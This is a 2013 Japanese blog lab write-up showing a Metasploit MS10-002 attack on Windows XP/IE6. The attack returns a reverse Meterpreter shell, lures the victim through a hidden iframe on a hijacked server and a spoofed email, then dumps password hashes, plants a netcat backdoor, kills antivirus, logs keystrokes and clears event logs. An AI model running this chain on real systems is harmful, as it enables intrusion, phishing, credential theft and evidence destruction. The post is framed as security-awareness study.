« Windows8.1 | メイン | 第一回 セキュリティ初級 ペネトレーションハンズオン@大阪を開催 »

【勉強会】WindowsXP + IE6へのアタック

今回は、自宅ラボで「MS10-002」脆弱性を用いたWindowsXP + IE6へのハッキングを試します。

毎度のことですが、本記事はセキュリティ意識の向上を目的としています。悪用しないでください。


【前提】

1. ネットワークのトポロジは、下図のとおり。

2. ターゲットマシンでは、WindowsXP SP3+IE6を使用していて、パーソナルファイアウォールは有効。また、ブロードバンドルータ越しにインターネットに接続している。

3. 別記事「サーバ2のアクセス」(http://www.ddhost.jp/lab/2013/05/post_365.html)等により、アタッカはあるwebサーバに対する完全なアクセス権を保持。

4. アタッカは、別記事「メール送信元偽装のメール送信」(http://www.ddhost.jp/lab/2013/05/from_header.html)により、ターゲットの知人に成りすましてメールを送信し、特定のURLに誘導可能。


【トポロジ】



【実践】


アタッカのBackTrackに対して、別記事http://www.ddhost.jp/lab/2013/06/distccmetasploitable.html を参考に、MetasploitFramework最新版をインストールします。


次に、別記事「サーバ2へのアクセス」(http://www.ddhost.jp/lab/2013/05/post_365.html)などを参考に、第三者webサーバへの完全なアクセス権を入手します。


今回はWindows XP Service Pack2適用マシンをターゲットとしましたが、参考文献によるとServicePack3でも再現できるようです。

Windowsファイアウォールは有効に設定しています。


msfをインストールした場所(例では/opt/metasploit4) 配下のapp/msfconsole を実行し、msfconsoleに入ります。

上の例では、「/opt/metasploit4/app/msfconsole」と実行。


msfコンソールに入ったら、今回使用するms10_002のエクスプロイトをuseします。

「use exploit/windows/browser/ms10_002_aurora」と実行します。


ペイロードを指定します。今回はreverce_tcpを指定するため、以下を入力します。

「set PAYLOAD windows/meterpreter/reverse_tcp」


自ホスト(BackTrack)のIPアドレスを設定します。
自ホストのIPアドレスは、別ターミナルで「ifconfig」コマンドで確認してください。

「set LHOST (IPアドレス)」で設定。

上の例では、自ホストのIPアドレスは 172.16.0.2 だったため、「set LHOST 172.16.0.2」としています。


「exploit」コマンドを入力します。
これで、exploitが待ち受け状態となりました。
アタッカ(BackTrack)は、上図に出力されたURL(上の例では http://(IPアドレス):8080/CuAz49Tx )にターゲットマシンがIE6でアクセスしてくるのを待っている状態です。
このURLへターゲットPCをアクセスさせる必要があります。

当然、ここでターゲットPCが「http://172.16.0.2:8080/CuAz49Tx」にアクセスすればいいのですが、いきなりターゲットがこのURLにアクセスしてくるとは考えにくいので、以降でターゲットをこのURLに誘導する方法を検討します。


先ほどのmsfコンソールとは別のターミナルを開き、別記事「サーバ2のアクセス」(http://www.ddhost.jp/lab/2013/05/post_365.html)等により、第三者webサーバにアクセスします。

そこで、ウェブサイトを書き換え、ウェブサイトを閲覧したPCが先ほどのURLにアクセスするようにします。

「vim (htmlファイル名)」で、対象のhtmlファイルを書き換えます。
上の図では、/var/www/yuudou.html を編集しています。

上の図では、DIVタグの座標にマイナスを入れることで、通常は見えない位置にiframeを挿入し、その中でBackTrackの待ち受けURLを参照させています。
この方法に限らず、クロスサイトスクリプティングなどでも同様にBackTrackの待ち受けURLにターゲットをご招待できると思います。


さらに、別記事「メール送信元偽装のメール送信」(http://www.ddhost.jp/lab/2013/05/from_header.html)により、ターゲットの知人に成りすましてメールを送信し、第三者サーバのURLにターゲットPCを誘導します。


ターゲットPCは、知人から(第三者サーバの)URLを受信したと考え、そのURLにIE6でアクセスします。


ターゲットPCがアクセスしてくると、十数秒後、上図のように"Meterpreter session 1 opened"というメッセージが表示されます。
これは、session 1でエクスプロイトが成功したことを意味します。


「sessions -i 1 」で、セッション1に接続します。


「sysinfo」と入力すると、システム情報が得られます。
ターゲットはWinXP 32ビット版であることがわかります。


「ipconfig」コマンドでは、ターゲットのIPアドレスがわかります。


「 ps 」コマンドで、ターゲットで稼働中のプロセス一覧を確認します。


現在、exploitはInternetExplorerのプロセスを乗っ取って動いています。InternetExplorerのプロセスを終了されたら遠隔操作できなくなるので、別のプロセスに乗り移ります。

先ほどプロセス一覧で確認した中に、プロセス番号1340で"explorer.exe"(Windowsファイルブラウザ)が稼働していたので、「 merge 1340 」で乗り移ります。
これで、基本的にはWindowsXPが終了されるまでプロセスに残れます。


「getuid 」で現在exploitが動いているユーザ名を確認できます。
また、「 getprivs 」により、現在exploitが動いているユーザの権限一覧を表示できます。


「 getsystem 」コマンドにより、システム管理者権限を取得します。
これにより、管理者権限(Linuxでいうroot権限)を取得したことになります。


「 hashdump 」コマンドにより、ターゲットのユーザとそのパスワードのハッシュを求めます。
このハッシュから、専用ツールによりパスワードを解析できます。(今回は割愛します。)


linuxと同様に、cdコマンドやlsコマンドを実行できます。
ターゲット上のファイルを確認できます。



ターゲットから「download (ファイル名)」で、ファイルをダウンロードします。
ダウンロードされたファイルは、msfconsole起動時にカレントディレクトリだった場所に保存されます。



逆に、「upload (ファイル名)」でファイルをターゲットPCに送ることができます。
今回は、EICAR(テストウィルス)を送り込みます。



「screenshot」コマンドで、ターゲットの画面をスクリーンショットして入手できます。
入手したスクリーンショットはjpgで保存されます。
(なぜか色が変ですが...)



同様に、Windows用Netcat (nc.exe)をアップロードします。
nc.exeはグーグル検索などで探して入手します。(http://joncraton.org/blog/46/netcat-for-windows)

なお、nc.exe実行時に、ターゲットPCのパーソナルファイアウォールが反応します。
ここで「ブロック」されると、バックドアとして機能しなくなります。


「clearev」でイベントログを削除します。一種の証拠隠滅です。


「run checkvm」で、ターゲットが仮想マシンか否かを確認します。
上の例では、ターゲットは物理PCなのでphysical hostと表示されています。
一方、もしターゲットがvmware上の仮想マシンなら、vmwareと表示されます。
ターゲットがハニーポットか否かを判断する一つの材料になるのでしょうか...


「run killav」で、ターゲットのアンチウイルスソフトを停止させます。



「run keylogrecorder」で、ターゲットのキー入力をロギングします。
間が悪くターゲットPCで何かのパスワード入力をしていたら、全部ロギングされます。


「shell」コマンドで、ターゲットのコマンドプロンプトにアクセスできます。
後はターゲット上のコマンドプロンプトのコマンドが使用できます。




【参考URL】

http://joncraton.org/blog/46/netcat-for-windows

www.byakuya-shobo.co.jp/hj/moh2/pdf/moh2_p146_p149.pdf

トラックバック

このエントリーのトラックバックURL:
http://www.ddhost.jp/mt/mt-tb.cgi/756

About

2013年07月03日 19:00に投稿されたエントリーのページです。

ひとつ前の投稿は「Windows8.1」です。

次の投稿は「第一回 セキュリティ初級 ペネトレーションハンズオン@大阪を開催」です。

他にも多くのエントリーがあります。メインページアーカイブページも見てください。